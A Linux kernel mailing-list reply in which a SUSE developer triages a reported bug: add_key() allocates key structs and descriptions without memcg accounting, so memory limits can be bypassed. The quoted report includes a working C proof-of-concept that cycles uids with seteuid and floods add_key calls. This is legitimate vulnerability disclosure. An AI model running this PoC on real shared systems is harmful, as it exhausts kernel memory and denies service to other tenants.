Re: add_key() syscall can lead to bypassing memcg limits

[Michal Hocko <mhocko@suse.com>]

Cc keyctl maintainers

On Sun 28-03-21 10:30:34, 杨昱天 wrote:
> Hi, our team has found a bug in key_alloc() on Linux kernel v5.10.19, which leads to bypassing memcg limits.
> The bug is caused by the code snippets listed below:
> 
> /*--------------- key.c --------------------*/
> ...
> 276/* allocate and initialise the key and its description */
> 277key = kmem_cache_zalloc(key_jar, GFP_KERNEL);
> 278if (!key)
> 279goto no_memory_2;
> ...
> /*---------------- end ---------------------*/
> 
> /*------------- keyctl.c -------------------*/
> ...
> 95  if (_description) {
> 96description = strndup_user(_description, KEY_MAX_DESC_SIZE);
> 97if (IS_ERR(description)) {
> ...
> /*--------------- end ---------------------*/
> 
> Each user can allocate ~20KB uncharged memory by calling add_key syscall to trigger the listed code.
> Code at line 277 in the first snippet allocates a new struct key object that is not charged by memcg, as no accouting flag is passed to neither the
> allocation site here nor the key_jar's creating site. At line 96 in the second snippet, we found that memory used by description of a key, 
> which has a maximum size of 4096 bytes, is also not charged. A user can allocate multiple keys and consume more uncharged memory. 
> The upper limit of key memory's size is set to 20,000 bytes by default for each user.
> 
> The bug can cause severe memcg limit bypassing if a process can change its uid and bypass the above limit. For example, a user may own root privilege 
> in its user namespace and leverage seteuid() syscall to continuously change its uid. 
> Our evaluation on QEMU v5.1.0 + cgroup v2 shows that, under this assumption, we could consume ~2.2G memory by allocating keys from 100,000 different uids, while the memory charged by memcg is ~215MB.

Can the user/attacker create all those different uids? Or what would be
a typical scenario where this a threat? In other words is this a
practical attack vector?

If yes then the mitigation woulld be quite easy for the key_jar (just
add __GFP_ACCOUNT). I am not aware we would have strndup_user
alternative with kemecg enabled so this would have to be added.

> 
> The PoC code is listed below:
> 
> /*--------------- PoC --------------------*/
> #include <asm/unistd.h>
> #include <linux/keyctl.h>
> #include <unistd.h>
> #include <stdio.h>
> #include <string.h>
> #include <stdlib.h>
> #include <time.h>
> 
> char desc[4000];
> void alloc_key_user(int id) {
>   int i = 0, times = -1;
>   __s32 serial = 0;
>   int res_uid = seteuid(id);
>   if (res_uid == 0)
>     printf("uid allocation success on id %d!\n", id);
>   else {
>     printf("uid allocation failed on id %d!\n", id);
>     return;
>   }
>   srand(time(0));
>   while (serial != 0xffffffff) {
>     ++times;
>     for (i = 0; i < 3900; ++i)
>       desc[i] = rand()%255 + 1;
>     desc[i] = '\0';
>     serial = syscall(__NR_add_key, "user", desc, "payload",
>       strlen("payload"), KEY_SPEC_SESSION_KEYRING);
>   }
>   printf("allocation happened %d times.\n", times);
>   seteuid(0);
> }
> 
> int main() {
>   int loop_times = 0;
>   int start_uid = 0;
>   scanf("%d %d", &start_uid, &loop_times);
>   for (int i = 0; i < loop_times; ++i) {
>     alloc_key_user(i+start_uid);
>   }
>   return 0;
> }
> 
> /*-------------PoC end ---------------------*/
> 
> Thanks!
> 
> Best regards,
> Yutian Yang

-- 
Michal Hocko
SUSE Labs